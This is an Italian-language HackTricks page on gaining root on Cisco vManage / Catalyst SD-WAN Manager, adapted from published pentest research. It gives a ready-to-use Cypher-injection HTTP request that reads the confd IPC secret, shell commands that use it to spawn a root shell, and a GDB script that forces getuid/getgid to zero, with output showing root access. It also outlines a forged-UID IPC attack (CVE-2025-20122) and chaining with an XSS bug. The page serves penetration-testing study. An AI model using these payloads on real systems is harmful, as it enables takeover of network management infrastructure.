Cisco - vmanage

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Percorso 1

(Esempio da https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

Dopo aver dato un’occhiata alla documentazione relativa a confd e ai diversi binari (accessibile con un account sul sito Cisco), abbiamo scoperto che per autenticare il socket IPC viene usato un segreto situato in /etc/confd/confd_ipc_secret:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Ti ricordi della nostra istanza Neo4j? È in esecuzione con i privilegi dell’utente vmanage, permettendoci così di recuperare il file usando la vulnerabilità precedente:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

Il programma confd_cli non supporta argomenti da riga di comando ma richiama /usr/bin/confd_cli_user con argomenti. Quindi potremmo chiamare direttamente /usr/bin/confd_cli_user con il nostro insieme di argomenti. Tuttavia non è leggibile con i privilegi attuali, quindi dobbiamo recuperarlo dal rootfs e copiarlo usando scp, leggere l’help e usarlo per ottenere la shell:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Percorso 2

(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

Il blog¹ del team synacktiv descriveva un modo elegante per ottenere una root shell, ma la controindicazione è che richiede di ottenere una copia di /usr/bin/confd_cli_user che è leggibile solo da root. Ho trovato un altro modo per ottenere i privilegi di root senza questa seccatura.

Quando ho disassemblato il binario /usr/bin/confd_cli, ho osservato quanto segue:

Objdump che mostra la raccolta di UID/GID ```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80 401669: 49 89 c4 mov %rax,%r12 40166c: 48 85 db test %rbx,%rbx 40166f: b8 dc 30 40 00 mov $0x4030dc,%eax 401674: 48 0f 44 d8 cmove %rax,%rbx 401678: 4d 85 e4 test %r12,%r12 40167b: b8 e6 30 40 00 mov $0x4030e6,%eax 401680: 4c 0f 44 e0 cmove %rax,%r12 401684: e8 b7 f8 ff ff callq 400f40 <-- HERE 401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp) 40168f: e8 6c f9 ff ff callq 401000 <-- HERE 401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp) 40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi 4016a0: e8 7b f9 ff ff callq 401020 4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp) 4016ac: 48 85 c0 test %rax,%rax 4016af: 0f 84 ad 03 00 00 je 401a62 4016b5: ba ff 03 00 00 mov $0x3ff,%edx 4016ba: 48 89 c6 mov %rax,%rsi 4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ```

Quando eseguo “ps aux”, ho osservato quanto segue (nota -g 100 -u 107)

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

Ho ipotizzato che il programma “confd_cli” passi l’ID utente e l’ID gruppo che ha raccolto dall’utente loggato all’applicazione “cmdptywrapper”.

Il mio primo tentativo è stato eseguire direttamente “cmdptywrapper” fornendogli -g 0 -u 0, ma è fallito. Sembra che un file descriptor (-i 1015) sia stato creato da qualche parte lungo il percorso e non posso falsificarlo.

Come menzionato nel blog di synacktiv (ultimo esempio), il programma confd_cli non supporta argomenti da linea di comando, ma posso influenzarlo con un debugger e fortunatamente GDB è incluso nel sistema.

Ho creato uno script GDB in cui ho forzato le API getuid e getgid a restituire 0. Poiché ho già il privilegio “vmanage” tramite la deserialization RCE, ho il permesso di leggere direttamente /etc/confd/confd_ipc_secret.

root.gdb:

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run

Output della console:

Output della console ```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-poky-linux". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done. Breakpoint 1 at 0x400f40 Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 0x0000000000401871 in ?? () Welcome to Viptela CLI root connected from 127.0.0.1 using console on vmanage vmanage# vshell bash-4.4# whoami ; id root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ```

Path 3 (bug di validazione degli input della CLI del 2025)

Cisco ha rinominato vManage in Catalyst SD-WAN Manager, ma la CLI sottostante continua a girare sulla stessa macchina. Un advisory del 2025 (CVE-2025-20122) descrive una validazione insufficiente degli input nella CLI che permette a qualsiasi utente locale autenticato di ottenere root inviando una richiesta appositamente confezionata al servizio CLI del manager. Combina qualsiasi foothold a bassa privilegio (es. la deserializzazione Neo4j da Path1, o una shell di un utente cron/backup) con questo difetto per elevare a root senza copiare confd_cli_user o agganciare GDB:

  1. Usa la tua shell a bassa privilegio per individuare l’endpoint IPC della CLI (tipicamente il listener cmdptywrapper mostrato sulla porta 4565 in Path2).
  2. Crea una richiesta CLI che contraffà i campi UID/GID impostandoli a 0. Il bug di validazione non impone l’UID del chiamante originale, quindi il wrapper lancia un PTY con privilegi root.
  3. Pipa qualsiasi sequenza di comandi (vshell; id) attraverso la richiesta contraffatta per ottenere una shell root.

La superficie di exploit è locale; è comunque necessario remote code execution per ottenere la shell iniziale, ma una volta dentro la macchina l’exploit è un singolo messaggio IPC anziché una patch dell’UID tramite debugger.

Altre vulnerabilità recenti di vManage/Catalyst SD-WAN Manager da concatenare

  • Authenticated UI XSS (CVE-2024-20475) – Inject JavaScript in specifici campi dell’interfaccia; rubare una sessione admin ti fornisce un percorso guidato via browser verso vshell → shell locale → Path3 per ottenere root.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks